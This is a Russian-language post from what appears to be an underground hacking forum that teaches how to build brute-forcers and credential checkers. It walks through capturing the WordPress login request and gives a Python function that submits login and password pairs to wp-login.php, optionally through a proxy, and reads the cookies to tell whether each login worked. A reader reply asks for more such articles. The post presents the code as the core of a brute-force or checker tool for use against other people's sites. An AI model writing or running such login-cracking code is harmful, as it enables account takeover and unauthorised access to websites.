Основы разработки брутфорсеров/чекеров/накрутчиков/etc

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

Morty

VIP

Morty

VIP
26 Окт 2017
537
113
Цель данной статьи — показать процесс создания софта для выполнения таких типичных задач, как брутфорс/чек/накрутка/etc. Все эти типы софта объединяет то, что почти всегда первым шагом в разработке является реализация авторизация (в случае брутфорса первый шаг является и единственным).

Для обучающей статьи я выбрал очень легкую цель— админка WordPress’a, язык, на котором будет реализована функция авторизации — Python с библиотекой Requests.

Разберем, как происходит авторизация в WordPress. Современные браузеры предоставляют широкие возможности для анализа и дебагга, чем мы и будем пользоваться.

Откроем сайт с вордпрессом, переходим на страницу логина → ПКМ → Исследовать элемент

→ Вкладка «Сеть»

Во вкладке сеть можно увидеть всё, что происходит на странице: загрузка ресурсов, отправка форм и т.п. Вводим неверные логин и пароль, нажимаем Log in, и наблюдаем список запросов.

Тут нас интересует POST-запрос к wp-login.php, в параметрах смотрим, какие данные передаются после попытки логина. Следует понимать, что WordPress выбран в качестве лабараторной мыши в этой статье из-за крайней простоты авторизации. Весьма часто часть параметров генерируется JavaScript’ом, либо получается в промежуточных запросах, что может сильно затруднить разработку ПО (привет Амазону) и даже сделать её нецелесообразной.

ecbddd929fc9c2631aa809c551516bcc.jpg

Теперь все необходимые данные у нас есть, и нам осталось лишь успешно авторизоваться в WordPress и найти то, благодаря чему мы будем определять, что авторизация удалась. Это может быть какой-то текст на определенной странице.

В нашем случае мы будет определять по установленным Cookies. Если после попытки авторизации сайт устанавливает Cookie с именем «wordpress_test_cookie» - авторизация провалилась, иначе — успех.

Перейдем к коду и напишем функцию авторизации
[SRC]
def wp_login(url, login, password, timeout, proxy=None):
s = requests.session()
user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25'
s.headers = {'User-Agent': user_agent, 'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*'}

try:
s.get(url+"/wp-login.php", timeout=timeout)
except Exception as ex:
return 3
try:
data =
{'log': login,
'pwd': password,
'wp-submit': 'Войти',
'redirect_to': url+'/wp-admin/',
'testcookie': '1', }
except Exception as ex:
return 2
try:
r = s.post(url+"/wp-login.php", data=data, timeout=timeout)
except Exception as ex:
return 3

if (not 'wordpress_test_cookie' in r.cookies.get_dict()):
return 1
else:
return 2
[/SRC]

s = requests.session() - создаем сессию.
Далее устанавливаем заголовки и делаем первый пустой запрос к wp-login.php, чтобы WordPress установил нужные Cookies, без этого авторизация работать не будет.
Следующий шаг — формируем словарь с POST-данными, и выполняем POST-запрос:
r = s.post(url+"/wp-login.php", data=data, timeout=timeout)
Так как любой запрос может стать неудачным из-за нерабочего прокси или недоступного сайта — оборачиваем каждый запрос в try except.
1 — Авторизация успешна, 2 — авторизация провалилась, 3 — сетевая ошибка (недоступен сайт, нерабочее прокси, etc)

Если статьи на подобную тематику интересны и актуальны - возможно продолжение, с более сложными примерами и с большим количеством кода!
 

DumsDay

Участник

DumsDay

Участник
6 Янв 2018
17
9
больше подобных статей мне как начинающему кодеру, весьма полезно для разбора=)
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя